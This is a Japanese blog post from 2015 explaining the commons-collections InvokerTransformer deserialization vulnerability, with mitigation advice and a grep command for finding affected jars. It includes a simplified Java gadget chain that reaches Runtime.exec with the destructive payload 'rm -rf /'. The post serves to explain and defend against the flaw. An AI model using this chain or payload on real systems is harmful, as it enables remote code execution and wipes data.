2015-11-12 追記あり。「SpringとGroovyにも直列化オブジェクト脆弱性」も参照してください。
昨日からJava界隈で話題になっているcommons-collectionsの脆弱性について。
元ネタはこちら。
対応するチケットはこちら。
InvokerTransformerなんてクラスは初めて知りましたが、そりゃこういうことになりますよねぇ…というのが感想です。
影響を受けるシステム
InvokerTransformerはcommons-collectionsとcommons-collections4の両方に存在しています。 いずれかのライブラリ(commons-collections.jarまたはcommons-collections4.jar)がクラスパスに存在しているとき、 以下のいずれかの条件を満たしていると攻撃が成立する可能性があります。
直列化したオブジェクトを受けるポートが開いている
HTTPセッションに直列化したオブジェクトを突っ込んでいるような(行儀の悪い)セッション管理を行っている
任意のプロトコルのバイナリフォーマットがJavaの直列化形式
- 例: 何らかのクライアントアプリケーションでファイルを作成し、サーバへアップロードするという形式の時、ファイルフォーマットがJavaオブジェクト直列化形式である
とにかく、commons-collections3/4をロード済みの環境では、直列化したオブジェクトをクライアントから受け取るケースは全てアウトだと思ったほうが良いです。
その他、HTTPセッションをディスクから復元する*1前に、ファイルを差し替えておくという攻撃法もあります。 まあそこまで気にしていたらキリがありませんけど。
「主要ミドルウェア全てに影響がある」
こちらでは「主要ミドルウェア全てに影響がある」というアオリ文句ですが、これは各製品の管理コンソールのことですかね。
http://www.itmedia.co.jp/enterprise/articles/1511/10/news053.html
ファイアウォール含めちゃんとアクセス制限を設定しているシステムなら、それほど心配する必要はないと思いますけどね。 管理者以外が管理コンソールのログイン画面やJMXのポートへ到達可能だなんて、個人的にはあり得ない。
攻撃の仕組み
まず、commons-collectionsおよびcommons-collections4(以降、まとめてcommons-collections3/4と呼ぶ)が提供する Collectionフレームワーク(List, Set, Map...)のクラスは、大抵が直列化可能です。
そして、org.apache.commons.collections4.map.LazyMapのようなクラスはプライベートフィールドでTransformerオブジェクトを保持しています。
package org.apache.commons.collections4.map; import org.apache.commons.collections4.Factory; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.FactoryTransformer; /** * Decorates another <code>Map</code> to create objects in the map on demand. * ... */ public class LazyMap<K, V> extends AbstractMapDecorator<K, V> implements Serializable { /** Serialization version */ private static final long serialVersionUID = 7990956402564206740L; /** The factory to use to construct elements */ protected final Transformer<? super K, ? extends V> factory; ... @Override public V get(final Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { @SuppressWarnings("unchecked") final K castKey = (K) key; final V value = factory.transform(castKey); map.put(castKey, value); return value; } return map.get(key); } }
何らかのアプリケーションがこのようなクラスのオブジェクトをネットワーク経由で、クライアントとやり取りしていることを知っていると仮定します。 Mapなんて至るところで登場するオブジェクトですね。
package com.example.someapp; public class DataPacket implements Serializable { private Map<String, String> data = new HashMap<>(); public Map<String, String> getData() { return this.data; } public void setData(final Map<String, String> data) { this.data = data; } }
この時、次のようなコードで悪意のあるDataPacketインスタンスを作成可能です。これをサーバに送りつけます。
/* com.example.someapp.DataPacketの入ったjarは、クライアントアプリのインストール先から適当に探せば見つかる */ import com.example.someapp.DataPacket; import org.apache.commons.collections4.*; import org.apache.commons.collections4.functors.*; import org.apache.commons.collections4.map.LazyMap; import org.apache.commons.lang3.SerializationUtils; /** * @see http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#thevulnerability */ static byte[] createExploitingPacket() throws Exception { final Object[] remove_everything = { "rm -rf /" }; final Transformer transformerChain = new ChainedTransformer( new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer( "exec", new Class[] { String.class }, remove_everything), new ConstantTransformer("適当なデータ") ); final Map<String, String> map = LazyMap.lazyMap(new HashMap<>(), transformerChain); final DataPacket packet = new DataPacket(); packet.setData(map); return SerializationUtils.serialize(packet); }
そして、サーバサイドでは受け取ったインスタンスをこのように使うでしょう。
DataPacket packet = clientConnection.readPacketFromClient(); String foo = packet.getData().get("foo"); String bar = packet.getData().get("bar");
すでに見た通り、LazyMap#getはインスタンスフィールドのTransformerを呼び出していますから、 結果としてInvokerTransformerを通じてRuntime#execが実行されるわけです。
2015-11-12追記
この記事におけるサンプルコードは、攻撃の原理をわかりやすく解説するために単純化したものです。 実際の攻撃は特殊なクラスを用いることで、オブジェクトが非直列化された瞬間に任意のコマンドが実行されるようになっています。注意してください。
回避策
元ネタのブログによると、InvokerTransformerクラスを削除せよとあります。確かにこれが手っ取り早い。
もしInvokerTransformerクラスに依存するアプリだった場合は、InvokerTransformerクラスを上書きすることになります。 こちらのJavaクラスファイルを WEB-INF/classes なり java.endosed.dirs なり、commons-collections3/4のjarより優先される箇所に配置すればOK。
クラスローダーをゴニョゴニョやっている場合は適宜がんばってください。
正しそうで正しくない回避策
2015-11-12追記
実際の攻撃は、オブジェクトが非直列化された瞬間に発動します。従ってサニタイズで防ぐことは不可能です。 非適切な内容だったので取り消します。
package com.example.someapp; public static class DataPacket implements Serializable { private Map<String, String> data = new HashMap<>(); // ...(変更なし) /** @see http://docs.oracle.com/javase/jp/1.3/guide/serialization/spec/input.doc6.html */ private Object readResolve() { this.data = new HashMap<>(this.data); // サニタイズ return this; } }
のようにする方法は、new HashMap<>(this.data)
のところでthis.data
へのアクセスが発生してしまうので、ダメだと思います。
package java.util; public class HashMap<K, V> extends AbstractMap<K, V> implements ... { ... public HashMap(Map<? extends K, ? extends V> m) { this.loadFactor = DEFAULT_LOAD_FACTOR; putMapEntries(m, false); } final void putMapEntries(Map<? extends K, ? extends V> m, boolean evict) { int s = m.size(); // ←ここでアクセス発生 if (s > 0) { if (table == null) { // pre-size // 省略 } else if (s > threshold) // 省略 for (Map.Entry<? extends K, ? extends V> e : m.entrySet()) { // ←ここでアクセス発生 K key = e.getKey(); V value = e.getValue(); putVal(hash(key), key, value, false, evict); } } } ... }
だそうなので、commons-collectionsの 全てのMap実装について 、Map#sizeやMap#entrySetが無害かどうか調べなければなりません。 メンドクサイ。
対象jarの探し方
依存関係のクラスも全部含めて1つのjarにパッケージされているケースがあります*2。 この場合、どうやってInvokerTransformerを見つければ良いか?
元ネタのブログで紹介されているオシャレな方法は「バイナリファイルであってもgrepで検索しろ」です。 要するにこういうこと。
find ${MY_LIB} -name '*.jar' | xargs grep -al 'org/apache/.*/InvokerTransformer'
え?ミドルウェア自体の脆弱性はどうするのかって?
そもそも、信頼出来ないクライアントから直列化オブジェクトを受け取るという方式自体がヤバイ。 アーキテクチャを見直しましょう。
とりあえずの回避策は…うーんどうなんでしょう。 ミドルウェアのインストール先からcommons-collections3/4のjarを探してきて、InvokerTransformerクラスを削除するなり、クラスを置き換えるなり以外は思いつきません。今のところは。
*1:大抵はオブジェクトを直列化してディスクに書き込むという実装になっている。Tomcatもそう
*2:例えばcheckstyle-all.jar